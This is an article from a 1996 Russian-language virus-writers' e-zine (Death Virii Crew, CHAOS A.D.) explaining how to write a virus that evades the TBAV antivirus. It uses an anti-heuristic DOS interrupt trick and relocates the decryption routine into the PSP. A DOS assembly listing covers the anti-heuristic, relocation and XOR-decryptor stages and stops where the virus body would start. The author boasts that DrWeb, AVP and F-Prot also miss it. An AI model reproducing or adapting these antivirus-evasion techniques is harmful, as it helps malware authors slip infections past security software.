[Death Virii Crew] Presents
CHAOS A.D. Vmag, Issue 2, Summer 1996                           file 009


...как Вы думаете - слово "звонок" больше относится к слову
 "звонить" или к глаголу  "заебывать"? ...(c) Ян Грин

 Как вы думаете, к чему больше относится TBAV ?



                        Как поиметь TBAV.



  Подумалось, а возможно ли написать вирус, чтобы TBAV
  на него не заругался ? ЕЕ. Возможно и очень просто.
  Впрочем, по порядку.

  Я столкнулся с проблемой, что какой бы наворочанной
  процедура дешифровки не была - TBAV на нее непременно
  заругается, даже (и тем более) если разкриптовать не
  может (В силу антиэвристики). Казалось бы - все, дальше
  идти некуда. Hо, если процедуру разкриптовки перемещаем
  в память, не относящуюся к проге и там ее выполняем - то
  для некоторых граждан наступает облом. В частности WEB
  кажется вообще не в состоянии эмулить где-либо помимо
  кода проги. Для COM это PSP:100h и далее (код проги).
  Hо для TBAV'a такие вещи просто так не проходят, он
  эмулит это. Он выполняет процедуру разкриптовки и
  благополучно попадает в вирус, где включает анализатор
  и успешно сигнализирует об этом фразой "might be infected
  by an unknown virus". Hо, он не заругается, про некую,
  то есть нашу, процедуру разкриптовки. Он об этом просто
  промолчит. Видимо думает, раз эта процедура лежит не в
  сфере нашей программы, то она к ней и не относится.
  Значит и кричать собственно незачем. Вот тут то мы и
  включим в эту процедуру некий антиэвристический код.
  Скажем вызов левого прерывания. Скажем это будет какое-
  нибудь документированное, ибо есть тупая привычка у
  TBAV'a кричать на вызовы недокументированных функций.
  Скажем это будет mov ax,0d07h/int 21h. В al после этой
  всей ерунды мы увидим 0FFh, А TBAV - нет. Вот и все.
  Hи одного выставленного флага - ничего. Полный торч.
  Чего собственно и было нужно. Hе стоит говорить о том,
  что DrWeb,AVP,F-Prot отсеялись еще раньше. Все молчат,
  тишина. И только вирус делает свое дело. ;)))
  Скажем, это может быть так:

.model tiny
.code
org 100h
start:
;=================== Стадия первая - Антиэвристика. ===============
mov ax,0d07h
int 21h
xor ah,ah  ;ax = 0ffh
sub al,1fh ;Вот тут ax = 0e0h,
           ; это знаем мы. Hу а откуда TBAV'у об этом знать ? ;))

;========= Стадия вторая - Перемещение процедуры дешифровки. ======
lea si,decrypt
mov di,ax   ; Можно было бы прикалываться над si, надежней было бы ;)
push di    ; 0e0h
mov cx,len_decrypt
cld
rep movsb
ret        ; to psp:0e0h

;========= Стадия третья - Примитивная процедура дешифровки. =======
decrypt:
lea si,begin
mov di,si
push di
mov cx,cryp
mov bx,0
_kod equ $-2
beg:
lodsw
xor ax,bx
stosw
loop beg
ret
len_decrypt equ $-decrypt

;=========== начало вируса =========
_begin equ $-start
begin:
...
                                                      (c) Reminder [DVC]